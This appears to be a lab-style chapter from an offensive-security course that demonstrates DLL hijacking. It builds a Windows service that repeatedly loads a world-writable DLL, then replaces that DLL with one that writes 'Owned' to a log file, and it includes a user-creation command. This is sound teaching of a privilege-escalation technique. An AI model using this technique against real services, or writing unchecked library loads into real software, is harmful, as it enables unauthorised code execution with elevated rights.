Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter I - Foundation / 07. The Killchain / 06. Exploitation

Exploitation

Exploitation is the process of leveraging a weakness in a system, application or configuration in order to obtain a desired outcome.

Although people often associate exploitation exclusively with software vulnerabilities, exploitation is a much broader concept. Any weakness that can be abused to achieve an objective may be exploited.


Exploitation Example

We are going to utilize a custom service for this example.

The service is trusted, but one of its dependencies is writable by a low-privileged user. Since the service repeatedly loads that dependency and executes an exported function from it, control over the DLL becomes control over code executed inside the service process.

I went along and coded a sample custom service in C++:

#include <windows.h>

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE StatusHandle;
HANDLE StopEvent = NULL;

void WINAPI ServiceCtrlHandler(DWORD CtrlCode)
{
    if (CtrlCode == SERVICE_CONTROL_STOP)
    {
        ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
        SetServiceStatus(StatusHandle, &ServiceStatus);
        SetEvent(StopEvent);
    }
}

void WINAPI ServiceMain(DWORD argc, LPSTR* argv)
{
    StatusHandle = RegisterServiceCtrlHandlerA("AppMonitor", ServiceCtrlHandler);

    if (!StatusHandle)
        return;

    ZeroMemory(&ServiceStatus, sizeof(ServiceStatus));

    ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;

    SetServiceStatus(StatusHandle, &ServiceStatus);

    StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);

    ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(StatusHandle, &ServiceStatus);

    // ---
    // ACTUAL LOGIC IS HERE:

    while (WaitForSingleObject(StopEvent, 10000) == WAIT_TIMEOUT)
    {
        HMODULE library = LoadLibraryA("library.dll");

        if (library)
        {
            FARPROC func = GetProcAddress(library, "LibraryFunction");

            if (func)
                ((void(*)())func)();

            FreeLibrary(library);
        }
    }
    
    // ---

    ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    SetServiceStatus(StatusHandle, &ServiceStatus);
}

int main()
{
    SERVICE_TABLE_ENTRYA ServiceTable[] =
    {
        { (LPSTR)"AppMonitor", (LPSERVICE_MAIN_FUNCTIONA)ServiceMain },
        { NULL, NULL }
    };

    StartServiceCtrlDispatcherA(ServiceTable);

    return 0;
}

It does nothing special really (assuming you ignore the boilerplate and focus on the actual logic block):

  • Loop forever
  • Try to load the DLL "library.dll"
  • Try to find the function "LibraryFunction"
  • Call the function
  • Free the DLL from memory
  • Sleep for 10000 ms / 10 seconds

As for the actual DLL:

#include <fstream>
#include <ctime>

extern "C" __declspec(dllexport)
void LibraryFunction()
{
    std::ofstream log(
        "C:\\Temp\\heartbeat.log",
        std::ios::app
    );

    time_t now = time(nullptr);

    char buffer[64];
    ctime_s(buffer, sizeof(buffer), &now);

    log << buffer;
}

The target function would just manage a log file in C:\Temp\heartbeat.log

We are going to perform a hijack and make it say "Owned".

I've compiled both pieces of code in separate C++ projects (Console Application for the Service and Dynamic-Link-Library for the DLL). I also always keep precompiled headers disabled, but it's not really important right now and it works both ways. Another thing to mention, I always compile in "Release/x64" but that too doesn't really matter too much right now.

I placed the custom service in C:\AppMonitor\LegitService.exe and started it:

CustomService

I then went ahead and placed the DLL beside it and began seeing outputs every 10 seconds:

LegitService

Now, suppose the following misconfiguration:

  • The folder AppMonitor is only accessible to Administrators (normal Users can only Read/Execute)
  • However, Everyone has Full Control over library.dll.
  • I am currently executing as the user "lowpriv", who is a regular user (on the right-hand side)

LowPrivAndIcacls

To add a new user, you can execute the following command:

# net user username password /add
net user lowpriv lowpriv /add

My option here is very straightforward - I can delete/overwrite the "library.dll" file with my own malicious DLL.

Suppose just for the example's sake we are not going down rabbit-holes exactly right now (we will do that a lot later) and as the unprivileged user we have leveraged our read rights to exfiltrate the service binary and DLL and reverse engineered them. We spot a very obvious vulnerability:

  • A process depends on an object and loads it unconditionally
  • We have full control of said object

So, we recreate the DLL, but with a malicious payload:

#include <fstream>

extern "C" __declspec(dllexport)
void LibraryFunction()
{
    std::ofstream log(
        "C:\\Temp\\heartbeat.log",
        std::ios::app
    );

    log << "Owned\r\n";
}

Compile it and get it over on the target.

Note: NEVER completely destroy any artifact or target - ALWAYS make a backup.

![[Chapter I - Foundation/7. The Killchain/6. Exploitation/Exploit.png]]

As you can see from the screenshot, we successfully:

  • Backed up the target library
  • Overwrote it with "evil_library.dll"
  • Log output verified control was established